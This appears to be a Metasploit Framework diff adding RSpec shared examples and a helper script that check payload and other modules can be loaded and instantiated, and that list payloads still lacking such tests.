# # spec/modules/payloads_spec.rb
|
||||
# require 'spec_helper'
|
||||
#
|
||||
# describe 'modules/payloads' do
|
||||
# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules')
|
||||
#
|
||||
# include_context 'untested payloads', modules_pathname: modules_pathname
|
||||
#
|
||||
# context 'my/staged/payload/handler' do
|
||||
# it_should_behave_like 'payload can be instantiated',
|
||||
# ancestor_reference_names: [
|
||||
# 'stages/my/payload',
|
||||
# 'stagers/my/payload/handler',
|
||||
# modules_pathname: modules_pathname,
|
||||
# reference_name: 'my/staged/payload/handler'
|
||||
# ]
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# @param options [Hash{Symbol => Pathname}]
|
||||
# @option options [Pathname] :modules_pathname Pathname of `modules` directory underwhich payloads are defined on the
|
||||
# file system.
|
||||
shared_context 'untested payloads' do |options={}|
|
||||
options.assert_valid_keys(:modules_pathname)
|
||||
|
||||
modules_pathname = options.fetch(:modules_pathname)
|
||||
|
||||
before(:all) do
|
||||
@expected_ancestor_reference_name_set = Set.new
|
||||
@actual_ancestor_reference_name_set = Set.new
|
||||
|
||||
payloads_pathname = modules_pathname.join('payloads')
|
||||
|
||||
Dir.glob(payloads_pathname.join('**', '*.rb')) do |expected_ancestor_path|
|
||||
expected_ancestor_pathname = Pathname.new(expected_ancestor_path)
|
||||
expected_ancestor_reference_pathname = expected_ancestor_pathname.relative_path_from(payloads_pathname)
|
||||
expected_ancestor_reference_name = expected_ancestor_reference_pathname.to_path.gsub(/.rb$/, '')
|
||||
|
||||
@expected_ancestor_reference_name_set.add(expected_ancestor_reference_name)
|
||||
end
|
||||
end
|
||||
|
||||
after(:all) do
|
||||
missing_ancestor_reference_name_set = @expected_ancestor_reference_name_set - @actual_ancestor_reference_name_set
|
||||
|
||||
untested_payloads_pathname = Pathname.new('log/untested-payloads.log')
|
||||
|
||||
if missing_ancestor_reference_name_set.empty?
|
||||
if untested_payloads_pathname.exist?
|
||||
untested_payloads_pathname.delete
|
||||
end
|
||||
else
|
||||
untested_payloads_pathname.open('w') do |f|
|
||||
missing_ancestor_reference_name_set.sort.each do |missing_ancestor_reference_name|
|
||||
f.puts missing_ancestor_reference_name
|
||||
end
|
||||
end
|
||||
|
||||
$stderr.puts "Some payloads are untested. See log/untested-payload.log for details."
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,59 @@
|
|||
shared_examples_for 'all modules with module type can be instantiated' do |options={}|
|
||||
options.assert_valid_keys(:module_type, :modules_pathname, :type_directory)
|
||||
|
||||
module_type = options.fetch(:module_type)
|
||||
modules_pathname = options.fetch(:modules_pathname)
|
||||
modules_path = modules_pathname.to_path
|
||||
type_directory = options.fetch(:type_directory)
|
||||
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
#
|
||||
# lets
|
||||
#
|
||||
|
||||
let(:loader) {
|
||||
loader = framework.modules.send(:loaders).find { |loader|
|
||||
loader.loadable?(modules_path)
|
||||
}
|
||||
|
||||
# Override load_error so that rspec will print it instead of going to framework log
|
||||
def loader.load_error(module_path, error)
|
||||
raise error
|
||||
end
|
||||
|
||||
loader
|
||||
}
|
||||
|
||||
context module_type do
|
||||
let(:module_set) {
|
||||
framework.modules.module_set(module_type)
|
||||
}
|
||||
|
||||
type_pathname = modules_pathname.join(type_directory)
|
||||
module_extension = ".rb"
|
||||
module_extension_regexp = /#{Regexp.escape(module_extension)}$/
|
||||
|
||||
Dir.glob(type_pathname.join('**', "*#{module_extension}")) do |module_path|
|
||||
module_pathname = Pathname.new(module_path)
|
||||
module_reference_pathname = module_pathname.relative_path_from(type_pathname)
|
||||
module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '')
|
||||
|
||||
context module_reference_name do
|
||||
it 'can be instantiated' do
|
||||
loaded = loader.load_module(modules_path, module_type, module_reference_name)
|
||||
|
||||
expect(loaded).to eq(true), "#{module_reference_name} failed to load from #{modules_path}"
|
||||
|
||||
module_instance = nil
|
||||
|
||||
expect {
|
||||
module_instance = module_set.create(module_reference_name)
|
||||
}.not_to raise_error
|
||||
|
||||
expect(module_instance).not_to be_nil, "Could not instantiate #{module_type}/#{module_reference_name}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -339,11 +339,15 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
end
|
||||
|
||||
context '#module_info_by_path' do
|
||||
it { should respond_to(:module_info_by_path) }
|
||||
it 'should have protected method module_info_by_path' do
|
||||
subject.respond_to?(:module_info_by_path, true).should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context '#module_info_by_path=' do
|
||||
it { should respond_to(:module_info_by_path=) }
|
||||
it 'should have protected method module_info_by_path=' do
|
||||
subject.respond_to?(:module_info_by_path=, true).should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context '#module_info_by_path_from_database!' do
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
# @note Requires use of 'untested payloads' shared context for tracking of `@actual_ancestor_reference_name_set`.
|
||||
#
|
||||
# Tests that the `:ancestor_reference_names` can be loaded from `:modules_pathname` and once the ancestors are loaded
|
||||
# that `:reference_name` can be instantiated.
|
||||
#
|
||||
# # Payload Reference Name Derivation
|
||||
# You can see this naming logic [here](https://github.com/rapid7/metasploit-framework/blob/1508be6254f698f345616d14415bce164bf377f9/lib/msf/core/payload_set.rb#L132-L148).
|
||||
#
|
||||
# ## Single
|
||||
# 1. Remove the payload type prefix, `modules/payloads/singles`, from the path.
|
||||
# 2. Remove the file extension, `.rb` from the path
|
||||
#
|
||||
# This is <reference_name>
|
||||
#
|
||||
# ## Staged
|
||||
#
|
||||
# ### Stager
|
||||
# Determine if the stager module has a `handler_type_alias`
|
||||
# No) Use stager's handler's `handler_type` as `<handler_type>`.
|
||||
# Yes) Use the return value from `handler_type_alias` as `<handler_type>`.
|
||||
#
|
||||
# ### Stage
|
||||
# 1. Remove the payload type prefix, `modules/payloads/stages`, from the path.
|
||||
# 2. Remove the file extension, `.rb` from the path.
|
||||
#
|
||||
# This is <stage_reference_name>.
|
||||
#
|
||||
# ### Combining
|
||||
# The final staged module's combined `<reference_name>` is `<stage_reference_name>/<handler_type>`.
|
||||
#
|
||||
# @example Using 'payload can be instantiated' with `Metasploit::Framework::Spec::UntestedPayloads.define_task` and 'untested payloads' shared context
|
||||
# # Rakefile
|
||||
# require 'metasploit/framework/spec/untested_payloads'
|
||||
#
|
||||
# # defined spec task with rspec-rails
|
||||
# My::Application.load_tasks
|
||||
# # extends spec task to fail when there are untested payloads
|
||||
# Metasploit::Framework::Spec::UntestedPayloads.define_task
|
||||
#
|
||||
# # spec/modules/payloads_spec.rb
|
||||
# require 'spec_helper'
|
||||
#
|
||||
# describe 'modules/payloads' do
|
||||
# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules')
|
||||
#
|
||||
# include_context 'untested payloads', modules_pathname: modules_pathname
|
||||
#
|
||||
# context 'my/staged/payload/handler' do
|
||||
# it_should_behave_like 'payload can be instantiated',
|
||||
# ancestor_reference_names: [
|
||||
# 'stages/my/payload',
|
||||
# 'stagers/my/payload/handler'
|
||||
# ],
|
||||
# modules_pathname: modules_pathname,
|
||||
# reference_name: 'my/staged/payload/handler'
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# @param options [Hash{Symbol => Array<String>, Pathname, String}]
|
||||
# @option options [Array<String>] :ancestor_reference_names The reference names of the payload modules that are included
|
||||
# in {Msf::Payload} to make the `:reference_name` payload. Ancestor reference names are the names of the files under
|
||||
# `modules/payloads` without the extension `.rb` that are mixed together to form a payload module `Class`. For
|
||||
# single payloads, there will be one ancestor reference name from `modules/payloads/singles`, while for staged
|
||||
# payloads there with be one ancestor reference name from `modules/payloads/stagers` and one ancestor reference name
|
||||
# from `modules/payloads/stages`.
|
||||
# @option options [Pathname] :modules_pathname The `modules` directory from which to load `:ancestor_reference_names`.
|
||||
# @option options [String] :reference_name The reference name for payload class that should be instantiated from mixing
|
||||
# `:ancestor_reference_names`.
|
||||
# @return [void]
|
||||
shared_examples_for 'payload can be instantiated' do |options|
|
||||
options.assert_valid_keys(:ancestor_reference_names, :modules_pathname, :reference_name)
|
||||
|
||||
ancestor_reference_names = options.fetch(:ancestor_reference_names)
|
||||
|
||||
modules_pathname = options.fetch(:modules_pathname)
|
||||
modules_path = modules_pathname.to_path
|
||||
|
||||
reference_name = options.fetch(:reference_name)
|
||||
|
||||
module_type = 'payload'
|
||||
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
#
|
||||
# lets
|
||||
#
|
||||
|
||||
let(:loader) {
|
||||
loader = framework.modules.send(:loaders).find { |loader|
|
||||
loader.loadable?(modules_path)
|
||||
}
|
||||
|
||||
# Override load_error so that rspec will print it instead of going to framework log
|
||||
def loader.load_error(module_path, error)
|
||||
raise error
|
||||
end
|
||||
|
||||
loader
|
||||
}
|
||||
|
||||
let(:module_set) {
|
||||
framework.modules.module_set(module_type)
|
||||
}
|
||||
|
||||
context reference_name do
|
||||
ancestor_reference_names.each do |ancestor_reference_name|
|
||||
it "can load '#{module_type}/#{ancestor_reference_name}'" do
|
||||
@actual_ancestor_reference_name_set.add(ancestor_reference_name)
|
||||
|
||||
loaded = loader.load_module(modules_path, module_type, ancestor_reference_name)
|
||||
|
||||
expect(loaded).to eq(true), "#{ancestor_reference_name} failed to load from #{modules_path}"
|
||||
end
|
||||
end
|
||||
|
||||
it 'can be instantiated' do
|
||||
ancestor_reference_names.each do |ancestor_reference_name|
|
||||
loaded = loader.load_module(modules_path, module_type, ancestor_reference_name)
|
||||
|
||||
expect(loaded).to eq(true), "#{ancestor_reference_name} failed to load from #{modules_path}"
|
||||
end
|
||||
|
||||
module_instance = nil
|
||||
|
||||
expect {
|
||||
module_instance = module_set.create(reference_name)
|
||||
}.not_to raise_error
|
||||
|
||||
expect(module_instance).not_to be_nil, "Could not instantiate #{module_type}/#{reference_name}"
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,85 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# Reads untest payload modules from log/untested-payloads.log (which can be produced by running `rake spec`) and prints
|
||||
# the statements that need to be added to `spec/modules/payloads_spec.rb`. **Note: this script depends on the payload
|
||||
# being loadable, so if module is not loadable, then the developer must manually determine which single needs to be tested
|
||||
# or which combinations of stages and stagers need to be tested.**
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||
require 'msfenv'
|
||||
require 'msf/core'
|
||||
require 'msf/base'
|
||||
|
||||
framework = Msf::Simple::Framework.create()
|
||||
|
||||
options_set_by_ancestor_reference_name = Hash.new { |hash, ancestor_reference_name|
|
||||
hash[ancestor_reference_name] = Set.new
|
||||
}
|
||||
|
||||
framework.payloads.each { |reference_name, payload_class|
|
||||
module_ancestors = payload_class.ancestors.select { |ancestor|
|
||||
# need to use try because name may be nil for anonymous Modules
|
||||
ancestor.name.try(:start_with?, 'Msf::Modules::')
|
||||
}
|
||||
ancestor_reference_names = module_ancestors.map { |module_ancestor|
|
||||
unpacked_module_ancestor_full_name = module_ancestor.name.sub(/^Msf::Modules::Mod/, '')
|
||||
.sub(/::Metasploit\d+/, '')
|
||||
module_ancestor_full_name = [unpacked_module_ancestor_full_name].pack("H*")
|
||||
module_ancestor_full_name.sub(%r{^payload/}, '')
|
||||
}
|
||||
|
||||
options = {
|
||||
reference_name: reference_name,
|
||||
ancestor_reference_names: ancestor_reference_names
|
||||
}
|
||||
|
||||
# record for both ancestor_reference_names as which is untested is not known here
|
||||
ancestor_reference_names.each do |ancestor_reference_name|
|
||||
options_set_by_ancestor_reference_name[ancestor_reference_name].add options
|
||||
end
|
||||
}
|
||||
|
||||
tested_options = Set.new
|
||||
|
||||
$stderr.puts "Add the following context to `spec/modules/payloads_spec.rb` by inserting them in lexical order between the pre-existing contexts:"
|
||||
|
||||
File.open('log/untested-payloads.log') { |f|
|
||||
f.each_line do |line|
|
||||
ancestor_reference_name = line.strip
|
||||
|
||||
options_set = options_set_by_ancestor_reference_name[ancestor_reference_name]
|
||||
|
||||
options_set.each do |options|
|
||||
# don't print a needed test twice
|
||||
unless tested_options.include? options
|
||||
reference_name = options[:reference_name]
|
||||
|
||||
$stderr.puts
|
||||
$stderr.puts " context '#{reference_name}' do\n" \
|
||||
" it_should_behave_like 'payload can be instantiated',\n" \
|
||||
" ancestor_reference_name: ["
|
||||
|
||||
ancestor_reference_names = options[:ancestor_reference_names]
|
||||
|
||||
if ancestor_reference_names.length == 1
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||
else
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}',"
|
||||
$stderr.puts " '#{ancestor_reference_names[1]}'"
|
||||
end
|
||||
|
||||
$stderr.puts " ],\n" \
|
||||
" modules_pathname: modules_pathname,\n" \
|
||||
" reference_name: '#{reference_name}'\n" \
|
||||
" end"
|
||||
|
||||
tested_options.add options
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
Loading…
Reference in New Issue